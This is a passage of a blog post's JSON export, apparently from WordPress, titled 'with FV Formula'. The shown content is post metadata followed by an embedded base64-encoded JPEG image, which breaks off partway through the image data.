{"id":572,"date":"2021-08-27T10:05:08","date_gmt":"2021-08-27T10:05:08","guid":{"rendered":"https:\/\/nawaniassociates.com\/blog\/?p=572"},"modified":"2023-06-27T12:53:45","modified_gmt":"2023-06-27T12:53:45","slug":"with-fv-formula","status":"publish","type":"post","link":"https:\/\/nawaniassociates.com\/blog\/with-fv-formula\/","title":{"rendered":"with FV Formula"},"content":{"rendered":"<p><img decoding=\"async\" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src=\"data:image\/jpeg;base64,\/9j\/4AAQSkZJRgABAQAAAQABAAD\/4gIoSUNDX1BST0ZJTEUAAQEAAAIYAAAAAAQwAABtbnRyUkdCIFhZWiAAAAAAAAAAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAAHRyWFlaAAABZAAAABRnWFlaAAABeAAAABRiWFlaAAABjAAAABRyVFJDAAABoAAAAChnVFJDAAABoAAAAChiVFJDAAABoAAAACh3dHB0AAAByAAAABRjcHJ0AAAB3AAAADxtbHVjAAAAAAAAAAEAAAAMZW5VUwAAAFgAAAAcAHMAUgBHAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFhZWiAAAAAAAABvogAAOPUAAAOQWFlaIAAAAAAAAGKZAAC3hQAAGNpYWVogAAAAAAAAJKAAAA+EAAC2z3BhcmEAAAAAAAQAAAACZmYAAPKnAAANWQAAE9AAAApbAAAAAAAAAABYWVogAAAAAAAA9tYAAQAAAADTLW1sdWMAAAAAAAAAAQAAAAxlblVTAAAAIAAAABwARwBvAG8AZwBsAGUAIABJAG4AYwAuACAAMgAwADEANv\/bAEMAAwICAgICAwICAgMDAwMEBgQEBAQECAYGBQYJCAoKCQgJCQoMDwwKCw4LCQkNEQ0ODxAQERAKDBITEhATDxAQEP\/bAEMBAwMDBAMECAQECBALCQsQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEP\/AABEIASQBdwMBIgACEQEDEQH\/xAAdAAEAAgMAAwEAAAAAAAAAAAAABgcEBQgCAwkB\/8QAWxAAAQMEAQIEAwQGBgcDBgkNAQIDBAAFBhEHEiEIEzFBIlFhFDJxgQkVI0JSkRYzgqGxwRckQ2JyovAlNNEYg5KztOEoOGNkdXayw9I5RlNXZXOTlJajtcLT\/8QAHAEBAAIDAQEBAAAAAAAAAAAAAAQFAgMGBwEI\/8QAQhEAAQMCBAMGBAIIBQQCAwAAAQACAwQRBRIhMUFRYQYTInGBkRQyobFS0QcjQmJyweHwFTNDkvEWU4KiNLJjg9L\/2gAMAwEAAhEDEQA\/APqnSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpXilaVEhKgSk6Oj6GiLypWJcJT0ZLQjtpWtxeulR18IBJ\/w1+debE6O+wp8KKQ3vzAoaKNeuxRFkV635DMZvzX3AhGwNn5k6rXNCVGaE5pClqdPmPtb2SD32n6gaGvcD56r3JdauD6VtqDjLSdg+oKlD\/JJ\/5qJdZ9elEphx9yOhe1t66ho+\/yPv8Al6brXIfkW11UDpLiXP8Auqj3\/sqP09fw+tecyE4mGhcQkyI5K0n3cPqoH\/i\/x1RLrYuutsNqedWEoQNkmvIEKAUk7BGwa18R\/wDWgbldJDCRtCSNdS\/mfoPb67+QrFiTF26dItr4UtOg5FSPVST+6PwOx+Hei+XW7pWluT79rbRdnPiX1pQ+AfhShR0APoDr+ZrYuyj0pTGSFuuJ2kH0SPmr6f40X1ZNKxYE5qcz1IUOtPwuJH7qvcfzrJ6k9XR1Dq1vW++qIv2lKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURK9E2UiFFXKWhSgjXwp9Ts6\/zrBu94dtcqM2lhLrbyVqUN6UOkp9D6fvVjXO7Q51rWhlZS4XGdtLGla8xO+3uPwoi20SdGmoK47myPvJPZST9R7VpUF77W\/LjuFt0vLTv1CglRACh7jt+VeptrakuIUptxP3VpOiP+vke1ZrEdSEFbitJGypa+34k0ReQfdmyEKdjqaLKCD7pJUfUH37JH869zkJuSrZUpJI6V9P76fdKvmP\/E\/Oq8y7xAcXYWpcZy9\/reajYMe3AO6PyUvfQP8A0t\/SoUjmzm3PNo4z4t+yRHOyJs1JUNfxBaihv8viqvlxOmjdkDszuTRc\/RdBS9mMSqY+\/cwRx\/ikIY3\/ANrE+gK6G7+wrHdkW62tlT78aK3sqUVrSgbPcnvXM+R43yupozeWvEPaMUYUPiaFxTHGvl0oLST\/AH1WN2meEe1LJyjxAXW\/yQf2htsVbwUfovy1pP8A6VaH4jP+zDYfvODfpqVZ0\/ZWlk0dVZz\/APiifIP91mhdnSeQMDiK6ZWa2No\/JVwaB\/8AtVjp5S40WelPIGPEn2\/WLP8A+KuJFcp+CCD+zRDz25EfvhsICv8AnR\/hXrHMHglcJQrC88QFe\/m71+Xn1h8fUfuf7j+SnDslRgfLUH\/9bR933XdsPNsNuKgiBltmkE+iWpzSifyCq2yExnlpkoDbikpIS4NEgH1AP5CuABmPgcvALYuedWQk\/fWx16\/kHK31ix7gae6lfGfiscscon4ET1Lhq37DqJZ\/mN1m2vn2LGnycP5qNN2UpWi\/eSs\/ihcR7tJXb86I1PiPQnwfLfQUK16jfuPrSJEahR0stdR6R3Uo7Uo+mya5lgWTxYYvFRNwvkey53bUDqShcht9To9vjcAV\/J3+dZcXxZ5RiEpNu5m4mudmWToyYaFBB+oQ52I\/Bw1IFewf5rS3zGnuLqqf2YqJL\/BSMm6Nd4vVrrH7q97bCuUK83MMtBEaQ4HUOq7gFQHVoe53v6UvMtVkmW91rZ+1OqYdUruSSAQSf7NavBeYuN+SGx\/RPKYkmRraobivKko\/FtWlH8RsfWpLdbREu6GG5gX0sPJfT0K6T1AEevy71NY9sgzMNwqCeCameY52lrhwIsfqvfJuDMZCldKnFIT1KSj90fM+wrIStKx1IUCPmK190aQzZprbCQgCO5rXz6T3rV4VPfex6MpTbjzyk7JPYD8VH\/LZrJalJqVgwbk3JedircbL7SylSUewrOovqUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJSlKIlKUoiUpSiJUdl5FMgXWRFdjtusIUkI0SlWikH17g+p+Ven+l0qNMeiTIKFhp5TZU2opOgdA6O9+3uK19zmMXK4fbI6HEJU0lKkrABCgVfIkemqIsy7XKNdHoq2EuJU2lwKStOtbKff09vnXlFiKf0AgEA72R2Fay53OyYpZ3sjyq5NW+3xxtTjh11H2SB6kn2A7mqQnZtyV4gpMi1YIleK4TG6hMushXllxsfe6lg\/LZ8tJ1\/EoA1Dqq1lNZgGZ52aN\/6DqVdYVgk2Jh0xIjhb8z3fKOg\/E7k0a+SsDPPEDhuEPqslhaVkt+KvLTFiK22hz0AUsA99\/upBPt2qvcjtnJOXWpeV87cgwsBxQHf2NbgZ6k+vQGuralEenWVK\/3faqmzLxK8S8CNO41wRaY2VZQhJak5POT1R2VehDIHdfv93SPT4l1ydnXIuc8nXpV\/wA7yWbeJiiegvr+BpJ\/dbQPhbT9EgVR1Ezpv\/kuv+602b6nd32XpuC9n+4AdQx92P8AuyAOkPVjD4YxyJu7ourL94qvD\/xYHIPDHGy8sujY6U3u\/KKWAsei0NkdSvyDX41S2eeL3xA8gqcanZ3JtMNe9QrMn7G0gfw9Sf2hH\/Es1+cWeEjmvldtFwtWNfqi1LT1C53gqjMKHt0DpLjm\/YoQR9awcq4JyrjDlrH+OcwRDfXeJcIR5MNanI8ll58NbSVJSrsoKSUqAII9NEE4fr2xjK3K3oLBW8MOCsqS17xLOASS92d2m++g8gB5Ksn35M6QqVOkuyX3Nlbryytaj8yo7J\/OphbOHeTLthL\/ACNbMMuEnHIqVrduDaUltKUK6VnW+ohJ9SAdaJPYGu9+YuJeMOXIWRcKYtZrfj+UYhHj3a0uMw247Gn0kJRtCRttRSG172QS2vv6VGvCtfFYH4f8lfy+zTfMwG63T9Y28AB4NhtpbqChXYkJ834T2VrW+9SW4faTI92ljqOYVVL2z7yh+IpYrPDmgscf2XbEEW308iuQ2eC86e4kXzWG7f8A0abc8on7V\/rBIeDJPl69Osj1I7Hdbmb4cs4hcV2flhqXbJcC+OsMxIEZbq5q3HnFttp8vo0SVNq9FGuw87wzBmfC\/nVt41mpmY1ebfMyW1BA\/YR2x5Lymmzveg4w4ekgFHV0EfDs\/uH8gYtw74aMCy\/OGnjb27fAYjpYjh58S3VPlC29\/CgpbU6oqPcDsPiIFbhQRg2cf2b36quf2wrJI+8gZc97lDbWJbluAet9CVyFyT4a874jxaJlOc3PHYQnKS2xb0zyuYtzQKkBsI0SjfxEK6RrW9kAx3JOIeSsNk2qFkmF3KE\/e1BFub8rzFSlHp0lsIJ6lfEn4R37iukfFjxLcsj5iwPMY9yfuViyqVAsbe3CtmI6VJ6Q2PRKHmj5g16kObq3sxtxy3xXYLa22\/Mj4dYJ2RqbJ+Hzn3izH329etDRH4GsTRNLnNbcWIA9eK2x9q546eGWTK7M17nWBFso0bvz0N1wHbrnmGBXVYtlwvOPz2VaUlp12K8k\/JQGj+Rq6sM8aHMFiYTa8uVbcztKgEuxbxGSVqRvuA6gAk\/VYX+FdH53w1Y+VuUcA5IaEfILJFbnQbytSOpuR9m8wsBYPrt3zGzv+FNc83LgSXy\/zhmtk4ltNusmMY7cBbnJLy3BHbfbSEOJT2UtS1OIdISkEAepA1WJp54D+rPGw66X8lsjxvCsYYPjowCG5nE28JzZbX0cDxFlM4F88K\/Mzra4rs3ijKFK6mllYVALu+xChpI18\/2NWGzmniL8P7bb+VRkcg4aEhSLjHdK1tta7K80AqSPQ\/tApPoAoetc78leFHkXjuyv5VEl2rJrFG6i\/NtLxcLCU+pcbIBAHuUlQHuRWm4o8QHJfEbyGMevBl2knbtqnbdirB9dJ3tsnv3SR9d1iHmF\/jGR3MfzGxX19BFiFPejkE8X4Hm5HRr\/AJ2nzuvopxpzPx\/yzCLmLXZJlpR1P2+SAiS0PfaNnqH1SSPrU5SkJSEpAAA0ABrVcT2SHxL4gH279xXczxxyTH28m2l0tx5LoG9srRr1PugA+u2z61ZHHHiQyDGL6jjPxC21Vlu6NNsXdaQll8egLhHw6Ps4naD79Ot1ZxVmwl47EbH8j5rhcQ7O2LnUQN26ujd846i2j29Qrhx+HdImR3q4vwXA2\/JUGSshIUkdgfnr8q3ovaWbmLfMdbC3UBbaED6n39\/T6VlFSVoS82tLjawFIWk7CgfQg\/Koi7a7m7nBvLkUmGxHQ02rrHxHuT23v1PyqeuXU7pWlcyAR5bDU1TLKXuoBIJUSR8j2+Y9q3KVBSQoehG6Iv2lKURKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpREqOJzSKl1TEqBIbWhZQrpKVAEHR9xWyVkNlQ4ppdxaQpCilQVsaI9R3qHXn7G5d3XoMlp9t7Tm21g6V6EHXp86IvO6PRZl0elQystuhKj1IKfi1ogb+gH861eX5ljfGONrynLJAQgfDGip7uyXdbCED3P19AO5r2ZBkmP8AH+MyszyuSGYMNPwIHdbzh+6hA91E9gPz9Buuc48hrPzN8SHPsn7DhNpUU2a0k7+1EK+BpCf3wVDR91qB3pINQquqMX6uLV59gOZ6LocEwdtbeqqriFpA0+Z7jsxnMn6DVZksS+TorvNvP15OOcf2za7fb+tSTIB+6htP3lFWtdQHUs9k6A2ObOe\/FNkPKbH9CcMhnF8Eiaaj2qNpC5KEn4VPlPY\/PoHwg9z1HvUd5452ynnPJRcLnuDZIBLdotDSv2MRr0BIHZThAG1fkNAAVr8c4fzefgc\/mE4ymRidhksiUuQ95AlguBKkNnYUoAkJUUnY6u3cdqAuJJbFck7u4n8h0Xr1Jh8VK2OpxDK3LYRx3GRl9gODnni46320WDxxwlyhyyuQnj\/EJd1biaD74W2ww2f4S86pLYV\/u9W\/pWnybEcowK\/P49lVlmWe6w1AqYkNlC0+6VA+ikn1CgSD6gmu+M+yLKr74crDnnhSvX9HLZYSZkuywIrRUplAHnMqBSSVtKBUpPo4lRUertUI8ZIi5RwHx7yRmNiRYc0mPMtJhKT0O+U4y4t9voPxBsLQ24kK7o83pPdRqTJRNZGS06gX6EdFW0fauoqKxrJY2tjc4stc52uH4htY9BpzKsOFkWD89eH6w8qchQr\/AHRGHbuNzt9nlltx2bESlDwWjqQFoKA3ICQoEDYB9QdTyvZeNeT8iwrxRQeYLU1YMfnQFORJzrbTXlMvh91DSf6wStkqLSgVK7AH0B5I41535G4kx6\/47hMiC21kPl+aqXGEjyFJSpJW2lR6ApSVlJ6kkaA7VGsS40y7PZIi43jkm4qbUOtxtvTTZP8AEs6Sn8zW01gkYG5bk7+Y2PVQB2XfR1Ek3fd3G0nKTa2V3zN10GugPH2XSXJ\/jzy93PEMcQuwnMPhrYWv7fbAl+4kd3ULKypSW1dwCAlQFV9lPi65VyROUxoVmxqzRcuY+y3FEaGtxx1HklnqK3Fn4y2ekr1vQT8qw1cK4Xh3blPlW02uQj79ttaTMlD6EJ+6fxBFP6W+GrHNt2rAMiyd5Ho\/c5wjoJ\/4W\/b8U1qkqJbnvHhvS\/8AIXKsqHA8OLGiipXzWFswbYHY\/M4tadRe4JUKs3JfJOO4hLwKwZtc4FguAcEqA04A26HEdDg7jYCk9iAdGse4Zjm16sELEbvl93mWO3FCotuflrXGYKAUpKUE6ToKIGvQGp\/\/AKfcQiDosvAOFsoHYfa21SVfmSBXkz4iYfV8fCPHSk\/L9VEH+fVUXvo7W7z6FXowmuLjIKAAk31ey9+ehOvW60tn5t5dszNpgxM8uL1vsjsd+FAlKD8ZpTCgprSFAjSSBofSp3jXi25Lsmb3nkCdZbBcrneIEa3L2ytlLLbGy35YSrQ+JRUQQQTr01qtU3zjxjciEZH4esdIPqu2yVxVflof51mNSPCxlhCEnLMJkr9FK1NjA\/M\/eXr+Vbo5z+xKPW4+4t9VW1eDg3NXh7gDuW5Xb6n5HF3C+ymvhv8AE9j3FuAP4hnKbq+\/DlyJ9sfYbDralLT1Fl34uobeHUCAR8Z3qplwO\/fc08KWZWDjx9LufPSJr01vzUtvuuSXGyp0Ekd1MhxCVH95JG91UMjw23i8Q13Xi3LrFm0NsdSm4MhLcpA\/3mlHsfpvf0qvUJzLj3IOtp2743e4Z0FILkWQ1v1HsdH+Rre2plisJBpYj35HZUk2C0FeZHUTwJC5riDzbwc02cAb69V1PIwqRwZ4eLnleIXu9Y0LjBREvVgya3Ic+1y1j7OpTKeoLZK+tagQSClOyNCtLYfCpxt\/o6xO55Rn1zgXzMjHYt8hmL50FMp9HW0yrpTsb+71KWnatgVX+A+ILKpnIOOTOZsnm5HjNtfdU\/EktIdQkuR3GQ8psABwpDpPfZ11a7musMQtljtGN5dIu2ZYzM4lmL+3WNUSQUqtbZJW42lX+zKFAKQEnqS4AUhJOqkxiKp2GgFteHX1VFWvxDBQQ92V7jmu0DxDYNuRqW767jTguGM6wfI+Ks0mYpeFBq5WxxK2347h6VpI6m3W1djoggj0I\/Kr0wTnPFOVrJH4v8RAS8B+ztmT9kvxXPQecv5egKz2P749VVz3fclv+Z3dzIcjvMq6zHUIZEmSrbi22x0o6j7npA7+p96zI+G5XJsDuVRsaub1mYX5btwREWqOhXuC4B0j1+fvVe15jee71HI8uq7OakZWU0ZrCBILWcNCHc2nry47WXW+LZ1nHhfyGLgfJbzt5wSer\/sm8NAuBhB9Ok9zobBU16j1TsEb6balw58Ni5W2W1Lhy0JdYfaWFIcQobBBHYgiuFOFeabPJsh4a5lT+sMQn6ahy3jty1ufulK\/UIBPY\/uf8OxVm4VlN\/8ADFmjfG+dT1T8FvSi9aLoe6GASPjB9AnuOtPsSFjsT1WdNUhgGvg\/+vQ9ORXB41gr55HeECcC+mglA3c0cHj9pvHcK8rzbrjPy2DJVGWYEJrfUFJ+JZPfsT9BUyavrJeajqYLSVbHUtYGtD5Df0rBfSkBLjawttxIUhYOwoH0INQq5vvXDMosRbi2IUJIK1kEJUs9\/X30NVaLhVbAIUAQdg1+1gQrvbJLiIcWWlxwJ2AAfQe+9Vn0RKUpREpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUqH5mJkWYzKYmSW2nh0KSh5SUhQ9DoH3H+H1oiwsrt5i3gyQnTcodW\/94eo\/l3\/I16IEdlXXJluoZixklx5xaulKUgbJJ9hr3rGb+0SVoS8++8er4Qt1StH07bNU\/wCJzNbw6LR4f8BV5t\/ytaET1IOi3HUdBBI+6FaJUfZCTvsqtU8ogYXn\/kqfhlA\/EqltO02G5PANGpJ8govcbonxO8iy7pc5xtvFOChTz761FtEgJG1KJ9lLCSfmhv8A3j35q8SHO8vmfJ24dobVb8OsO41jtyE9CA2kdPnKSO3WoAaH7qdJHuTZXifzS08c4rbvDHx9LCo1tSiRk0xrsqZMVpXlqI+ulEbOvgT+4RVPcEcSu8ycj27Czc2bfEX1SZr61pStMdvRWGwfvLI0APbez2BrnZnPc7uhq5x18+XkF7Lg9NT08AxKUZYY2nuweDeLz++\/fnaw4pxjxoy85aORuSMfvQ40TdBBudzhN7CD20Fe4b6ilKlAe5CT1aFdy8uYzh8Oy23k2+F\/JOOsQtsR3HcGscLqhzJy1dLL7qk7DzXxNhIUOlO1bCtlKtNyZx\/h\/iJ4da4+8P3IsBiHhMxTP6qir1GlLaBQlt8kBY79SkO\/E2tSiTs6UmguKfEXyf4YE3njnL8XlTm4bbpg22a4WlwJZ+6Uq\/eYWe6kg6P3kkbO5kbWUfgfsf2uv5dFztZNU9ph8TTm0kRI7q9jkPHXZxG7hw0Gu8rtt5zXwd2T+n14ZsceVn778oceofdbNtOtx30L2ojo+44nttJCeokfDzvleW8p+ITO0XfJZMm9XiQS1DhR0EMxWyd+W02OyEj3J7nW1EnvWZCt3JPiI5Dk3y+T13C7zT5suY+emPCYHp9ENpHokfl32akOT8oY9xlb38B4VX50x1Pk3TJ+n9vJX6FEf+BAPoR+Xf4zElmBZqbRj3Pl\/dguiw3DXtqBljbJWOGp2axvAuO+g0H7T7eZHtVhnF\/DjQk8pzP6R5IEhbeOW57TTJ9vtDo9PwH8lConmPP2f5VGTZrbKaxuxNDpZtlmT9naSnfopSdKV9e+j8q1XHeA3nNM9tNmuNum+TNlhct15tY20D1OEqI9SkHv8zWNmOCXvGssu1iRaJi0QpjjTZbZUpKkb+Ag6O9pIrn5MdgfUmgjcGuy5rA\/s3tcnjr6Lt6HCKCnqR8Y7vp7ZrutlbrbwN2b56u5uKjCQN9R9T717UjfcVmxMfvkxxpuNaJay8pKEaYWQok6GiBU+5g4rn4Fk0a2W+3vvRX7dGdStptSgXQgId2RvuVpUr+0Kiy4jTQ1MdI94D3hxA55bX+\/3XQy18UcrISdXXt6KuUpI7GvagHXb0rJRZ7upSki1zCUHSgGFdjrfft9R\/OrDyziadYeOMTytmBIVJuin\/trYbUVI6iFMdvYdCVfmRX2pxGlpJIopXgGR2VvnlLvsPew4rXPXxQOa15+Y2Hna6rlCe\/p7ele1A0NVkC0XYKCDbJYVrqCSwrevnrX99T2xcV3K58XX3M1QHxKgSmUx2y2oKW0OzpA+nWk\/wBk1lWYjS0DGyTvADnNaPNxAH1PtqtdRWxU7Q+Q6Ege5soPbLhcbRNbuVpnyYMtk7bfjuqbcQfmFJII\/I1deP8AiTevUJrGOb8Yi5pZ0\/AiWtIauUUfxNvJ11fgdE+6qplNmu46Qq1TAVHSdsK7nR+lTviri+fms66sS4T7SItsfdaU6hSQZCklLQ3r+LZ\/s1uqsYhwinfVzSWY0XP\/ABxVTjFLh9XCZKxoOXYjRw\/hcLEehU7v\/B1syCyvZvwbkCspsjQ65VuUAm5QN+zjfqsD5gb7eh9ap1y3RludTrAStJ0dp7\/hWfit2z7j28tZPjRulpnQzsvIaUlBT7pcBGlJ+YVsVerDOG+J2A7PsUaHjfJ8dtTsi3pV0RL4lI7ra32Q722R\/PY2pN1FJHVD9WQHcuB8uvT2XKVkE2E+KZ3ewfj0zN\/jA0I\/fG37Q4r0eF7jrjnMTll0zi1yL05j9uEyLZ47i0uSUALLikJQpKlqHShIG9bcG\/aujpOdcYYLxxgF+duV5xXE34jr7VjZhfakS23GgVRpRKVkEKdJ31DqUT3rh+03TLeOsoTcbXJmWS+Wp4p309DjSx2UhSSO4PoUkEEeoq5uRvFZdM94cYwiVD6cjnvFu9Pfq9swnY4UooLXU4VIc\/qyT09iFEEdqsKWoZHGQRZw+q5DHcJq6yrZI1xfE4jQH5dCCQLEdb78Oqoq6SLdOvNxmWeGuLbnpjzkRhZ+JpgrJbSfqE6H5V0Fwrm9l5PxRXh95Nkjy3hvG7mvu5EkAHpa2fxPT8wVI906o\/FcQyPMrqzYcXtEi4z3vRphG9D+JRPZKR8yQKyeZcUyLgK6R4GUlpE99hEuC5EeKkun36F6B2hXYn2IGvUbixudFeW3h48vJdBV08FaGUOf9bu3XxAj9r8+YuusOBuS7hiORu+G\/lCWli9wStNidcV\/3hpA6vLSo+o6fiR807T7AVcc0ONOrbcBCgdGuJb\/AHaZ4peFInMOOPfZeWuKSh24GMAlyZFbPmJeQP4h0lwf7yHEgfEmuoOF+WYPOnFVtzuN5bd0YH2O8Rkf7GUgDr0PZKthaf8AdUPcGrejqA491fS12nmPzC867SYS6JvxobZwdllaP2X7gj9141B5rf45c7lc8vXDtq9R2PgcWB669R\/P\/CreSCEgE1TzaWrcVuwSqKVepZUUb\/HWqkHHeUO3SQ\/FSuTIHV3ddcUoAD0A3\/OrBcgrCpSlESlKURKUpREpSlESlKURKUpREpSlESlKURKUpRFgXm4u2qCqa1E+0BBHWnr6dJ+foaid0yWReIi4i4LDaF\/vdRUQfmPSpdc37clhcafLZaDiSNLWASPoPeq9bYS1IdjtLLrKFfs3NEbT8u\/yoi8pV4tmI4\/c8yvjvRBs0VyS6rttXSneh\/vH0A+ZFct8dZU\/juMZx4vs4ZadvN1ddgY3Gc7gvrPT8AJ30p0Edu4bbc+dTbxfX64zYGJcEY07\/wBqZhOaXKSO+mQ4EthQ\/hLh6t\/Jk1S3jByG3Wq549wfjC+my4NAabcSD\/WS1oBKlfNQQRs\/Na6qa2azi78O38R\/IL0DsxhfexMhO85Jd0iYdR\/5usPJc63GZOvFxlXe6SVyZk15ciQ84ranXFkqUon5kkmuvLL4RuGIXFeL5nmvKs6wT75HbWboxIb\/AFch51JUhvrKAEaSeglTiQpSVAfKqO4S8P8AmfOlwnxcZeiQ41sbSuTMmFYaSpRIQgdCSSo9Kvb0Bq+OCMhyXhbPp\/hm5gtKLvYJrrbkfTJlR4rrhC0ODaf6hw6J2B0LG9A9VV9FGL5pW6HQE812XaWtk7swYfNaSLxOYLXLbcLgjS97cR6LWZL4Wcl8Mlslcx4LzVFhJsjQc3IhqZMpKlAJY0lS0OhxRSOkjR3vtrYoO6XbkXxEcnqul0cTNvF4WlpttpJRHiMJHZKR36G0J2e5J9T3J7yfxYXR7IvEDlxkZQLvHiSG4jIaBS1HS2gf6uBsgltRWCoequo9tkDzusw8EcZNx4pDObZrH6isDTlutx+Xula\/5jv7orKcszOY24Y3fX7dStWFtqjDFUS5ZKqUWYcoFgRc5rAXDdz7DUrUcqZ1Z8LsjvDXGkkGK0rpv92R2cuMgdlNpUPRtJ7fXWvTZVSqQUq2FaIO9j2NfoG97P5n3ryqolkdM7M7bgOQXpmF0MWFwdzGbk6ucd3O4k\/lsBYDQLqLw5cp3Wz4Tf79yfl7DWK2ItNx5txVt5twgktBzfU4NdPSjSlkq0CeyRr\/ABR8iZBfbHjysBzBLeG39h4yZNsJQ\/KcSQPIU995pHSr4kjpWTsEgAg83SELnIitzH3XmICluRo61fsmnFaCnAn06yAB1euhrtXvSuQloxkynkR1uh5bKVny1uBJSFFPp1AKI361wDOwNEzG\/wDGxa+a+TKMlstr\/wAebx5tr6Wv4lQv7PiSrM7g3u83ya7c\/wCeW1uttFd\/hZyvLIGWKx9F7SnGWIbsuczNV1MxW0Ds42pRHlHqKQe\/SRskb71ZXMHM4yHieZknB+b254Mz0QrhPYb8x6MyoqR1tJXoAqUEhLhSpJCupPUNGuR5CVyoD1qdkO\/YpKkLkx0rIbkdBJSlwD76QTvpPbYB12Fe5kutJWmHJejl1vyl+Qso62\/dCgOxSdDse1fcT7BUeJ4w3GH2DmlvgyjK4A3cX83OvYHYWFw69grsC+KqjMzKG6eHXxc7kfL6Xv0U14gv+dWPNLXDxK\/zFyLlNQ3JRNeVJbllah1qeCjtSvU9YIUPnrtXV2Scu49c4eV4xxtldlnZlYYTjqYjgU6hLqUkkDWg6pI+8hCiUkpCtbG+IkSZDQcESdIhuONraLsd4tuBCwUqCVjunYJGwQdE142+Oza0R02v\/U\/sqguOqOS2ppQ9FJI7g\/Ws+0nYSk7R1jK15DXMAsA0eI3B8fNthYAWOp1tovmJYJ8VIDBlY0C3HU8BpsAOOp6aLa27KM2hX5eWKzW8SMgeWHHLgt74lH+AN\/1aW\/bygnp+m+9dr2vlPF7ZIsGGZtltnjZhdITb64LZKAVqA1sEkN9SjpIUoFRBCd6NcORi7FU0tt1RcZIUlwkFXUPQn69t16mYUVCpTrylSXpzinpb8hZcdkuK+8txR7qJ+v4elbe1PYaj7UCJjyIhGCAWtF9rNH8Dd8vHYZd0rsGbUd22ABgA14+Q68dSbqV5tfs+vWcT7rmuSS13OBJdjx48NxceLbwlZT0sNpV2V27uElZ+YHYdH8dcwwMY43s135izOFHkXWUuLbXXm9SJTaSE9S0oBKtHfU4EhKU6KiO6jymlTzi1uSJb8halbK3nCtWtaA2e+gBrv8q8TFQ7cl3aUtyRMW0hhLryuotMoACWkfwIGt9I0CSSe53W7HOxVFjtBBh8gEbY7asaAQANQ38IJ1O+21zcYT4Q2Smigja1rhudTw15E3PP+itPxF3nLr3n7lruuRdeMR0MS7RBgKLceQhaAoPvqSo+eeoKCfRACQQkn4qgFvnzrVNYudslvRZcZaXWXmVlK21g7CkkdwRWIkO\/AlUl9TTSOhplThLbQ2VHoSfu7JJOu3vXsFXuCYUzBaCKhjt4Ba4Frn8RHM7nfXipuH0jaOn7kgXN78b+d+nDhtsumg9b\/E\/iD16hsNR+T8ci9c6M0kJF8ipGvNQB\/tU\/Ie516FPTSbaUJeSHm1lIUAtKTpRG+4B12P5VrcOyu+YNklvyvHJRj3C3vJdaV7K9ilQ90qHYj3B+tWx4ijYZeMW3nzBreRbMnc+z3KGg7FtuuiXEL16BRBI+Z7jsoV0mcSsLz8w36jn+a5t9IcMqm00f+TIfB+67fJ5HdvLUcl0xwvybw4jILNxZw3jMt5c6Aq4XaZ5fQqGlLf8At3FjbznmKQjQ+AFXY9iBWvin4+ucXwuXi4c355a8iySx31yZi15ZZSy46w+8hKYhAACyUFwqSjaQG0HZ6N1Q3hC5oyPDs2veLWiLbXr1nsZEC1zZ6\/Lai3FJV9nLigCfJ2tW0gElQQB61f8Ahfgx4Y4yizsk5myeTyFkdjgPX+bbVOlTbTQ2px1EIK8x0FQI6laSoj7tWMUvxkFmjmDwA9OPNcPiFA3s7iveSSG4LHN0zPfvfXTKNcpvuOBXHfhx5gl8K8pWvKwtarTIP2K8RwNh2E4QFnXuUHSx9Ua9Ca6jw5THhj8Vq8Wjuo\/0fcrIQ9bFJVthtx1X7ID2+FxRb\/4HUE1SnjFwHGLXlVg5Y46jsIwvka2NXG3iO2G2mZCUJDrYQOyDooV0+yise1SiM+rnbwdvtKWXMr4dfEhhwH9ou263vfyS2Ff\/AMun3NV8OencYeLfE3rzHqF1+JCnxWCOvAtHOO6kH4ST4HHqyTS\/IrtfI7epCpFv81bQV2SpPr0n\/rVZGLZExiMQRGrWl\/Z7ueZ0qP8AcRUP4r5A\/wBLfDOM8gOrC5644iXPWv8AvTZ6HCQPTaklQHyWK9k1iVPmswkrDEdSh5jqlaH\/ALhXTseJGh7divD6qnko5308os5pIPmDZX7bp7VwjIkI6QpSQVJCurpPy371lVpcUgQbfaGmIUpuQkD4loWFAn8RW6rJaEpSlESlKURKUpREpSlESlKURKUpREpSlESlKxrhIfixHJEaOHloGwgq6d0RQjKrem23MyEMdEaQdlQ+6lf1+QNflqj+dLbSR23s\/gK8p16nXlosyVNhlQ7ttp0D+JPf++tffb8zhmFZFl7hSlNmtkiSgH0KkNqUlP5kJH518JsLlZMYZHBjdzouesPu8POfFJn3L13JcsPGlufbYUDtIU2hTY1v5hMlY+uq5Eye9T8uyO55NdnCuZdZbsx9X++4sqP5DegPpXQGMOO4X4M79f31qFy5Bvoi+b+8tpKviBPuCGn\/AP0z86oCJBkzpTUKFGdfkSFpaaaaQVLcWToJSB3JJ9q5etkJDW89T6\/0XuXZyBkbppRsy0bfJg193E38l2N4fMPwrMeA4fHOJ8uCxZLPuSLvehb3vLmnoWNR+klK+noSgFSdjqBPcE7mXiL5w5q4gcuE+xcUWk4+8oMtX9Vw8xSnFICUqcaSElCgRoBWx2HeuIsq43zvA3YknLcVu9icdIXFekMqaJUO\/wAK\/TqHy3sV78j5P5Oy\/FomE5Rm1xu1mgyky2Gpig46lwBQG3SPMWAFnQUogdtaqQyuEcXdkFrgP73VTP2XNZWisEjZYnOJIPC9r2LdDawAB0AWTwpiEfIstcvOTOqVarI05erw+4dhSUHq0on1KlfzAVVccj5tcORMzueWXBagZbxDLROwywns22PoE6\/PZ96tvJZX9APDu1EaPl3PkK4ErI7K\/V8b1+vdZH4haqoEJ366qBOSGNj4nU+u3sPuu1wNjZqiWtOzf1bPJvzH1dp5NC\/NbNeYSfTf17UCRvvXmE7Pp61GyrpTKgT9T2+tewe